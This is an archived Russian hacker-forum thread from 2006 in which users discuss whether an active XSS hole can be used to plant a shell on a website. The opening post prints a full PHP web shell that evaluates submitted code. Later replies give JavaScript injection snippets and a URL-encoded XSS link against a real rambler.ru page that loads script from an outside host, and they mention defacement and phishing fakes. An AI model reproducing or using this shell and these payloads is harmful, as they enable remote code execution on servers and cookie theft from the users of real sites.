HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Про Xss
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

Про Xss
  #1  
Старый 09.12.2006, 13:43
GrAmOzEkA
Участник форума
Регистрация: 25.06.2006
Сообщений: 220
С нами: 10461853

Репутация: 178
По умолчанию Про Xss
Народ поскажите хсс только ворует куки или можно как то через это загрузить шелл например вот этот:
Код:
<?

$docr = $_SERVER['DOCUMENT_ROOT'];

$gpc = get_magic_quotes_gpc();
if (!empty($_POST['c'])) {
	$c = $gpc ? stripslashes($_POST['c']) : $_POST['c'];
} else {
	$c = NULL;
}

?><form action="" method="post">
<textarea cols="80" rows="30" name="c" id="c"><?=$c; ?></textarea>
<br><input type="submit">
</form><?

if (!is_null($c)) eval($c);
?>
Урл сайта имеет вид: http://*****.ru/info.php?log=[XSS]
𝕏 Twitter Reddit Telegram Копировать ссылку
 

  #2  
Старый 09.12.2006, 14:07
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
С нами: 10885346

Репутация: 2947


По умолчанию
Врятли!
 

  #3  
Старый 09.12.2006, 15:28
__XT__
Познающий
Регистрация: 07.11.2006
Сообщений: 30
С нами: 10267526

Репутация: 40
По умолчанию
шелл через кроссайтскриптинг?
вопрос интересный.
если активная xss вы к примеру можете закодировать в страничку екзешник какой нить троян.
или Сделать псевдо-дефейс-)))
Это когда к примеру нашёл активную хсс на гл. страничке сайта и по средствам вставки скрипта перекрывающего страничку можно вставить тэги и устроить дефейс.


как год назад: http://history-php-fusion.narod.ru/123.PNG
а вставка была в <img src=javascript:document.wite('AIRSG')>
 

  #4  
Старый 09.12.2006, 15:42
GrAmOzEkA
Участник форума
Регистрация: 25.06.2006
Сообщений: 220
С нами: 10461853

Репутация: 178
По умолчанию
Да это я знаю сам прикалывался ,а вот насколько реально запустить шелл через хсс?
(ХСС активная.)
 

  #5  
Старый 09.12.2006, 15:50
FQziT
Постоянный
Регистрация: 03.11.2005
Сообщений: 591
С нами: 10798886

Репутация: 523


По умолчанию
Это вообще невозможно.
 

  #6  
Старый 09.12.2006, 16:07
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
С нами: 10885346

Репутация: 2947


По умолчанию
__XT__ Даже при поможи пасифки можно такое сделать
Даже вставить целвый html файл!
 

  #7  
Старый 09.12.2006, 16:33
GrAmOzEkA
Участник форума
Регистрация: 25.06.2006
Сообщений: 220
С нами: 10461853

Репутация: 178
По умолчанию
А если шелл попробовать запустить как каритинку таким образом:
<img src="Ссылка на шелл-картинку" alt="" border="0">
 

  #8  
Старый 09.12.2006, 16:42
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
С нами: 10885346

Репутация: 2947


По умолчанию
Цитата:
Сообщение от GrAmOzEkA  
А если шелл попробовать запустить как каритинку таким образом:
<img src="Ссылка на шелл-картинку" alt="" border="0">
Конечно же не выйдет! )
Но можно вставить js так а в нём будит типо
document.wite
Так тока html файлы вставлять!
Можно Фейк сделать неплохой!

http://planeta.rambler.ru/srch?words=%22%3E%3C%73%63%72%69%70%74%20%73%72%63 %3D%68%74%74%70%3A%2F%2F%6D%69%72%69%6E%65%74%2E%6 E%61%72%6F%64%2E%72%75%2F%31%2E%6A%73%3E%3C%2F%73% 63%72%69%70%74%3E

Вот вам пример!
http://guap-spb.jino-net.ru/log01.txt

посмотрите всё просто!
Последний раз редактировалось slider; 09.12.2006 в 16:45..
 

  #9  
Старый 09.12.2006, 16:46
GrAmOzEkA
Участник форума
Регистрация: 25.06.2006
Сообщений: 220
С нами: 10461853

Репутация: 178
По умолчанию
И что этим фейком можно делать? Только жертв заманивать.
Мнеб чёнить такое чтоб можно было файл загрузить или просматреть.
Последний раз редактировалось GrAmOzEkA; 09.12.2006 в 16:52..
 

  #10  
Старый 09.12.2006, 19:17
m0nzt3r
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
С нами: 11517446

Репутация: 2258


По умолчанию
Да нельзя шелл через хсс.Зарубите на носу это.Закрыто.Самое полезное - куки.
__________________
Elite VPN from Green. Quality. Click and buy!!!

Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
 
Закрытая тема



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Xss для новичков Micr0b Уязвимости 79 06.07.2018 22:05
Кто ещё не знает про пассивную XSS в bitrix? _kREveDKo_ Уязвимости 1 30.11.2009 18:32
Статья от novichka про АНтичат. Егорыч+++ Болталка 48 14.07.2006 17:09
Раскажите про методы Xss актак Gl0ck Уязвимости 4 23.04.2006 17:01



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.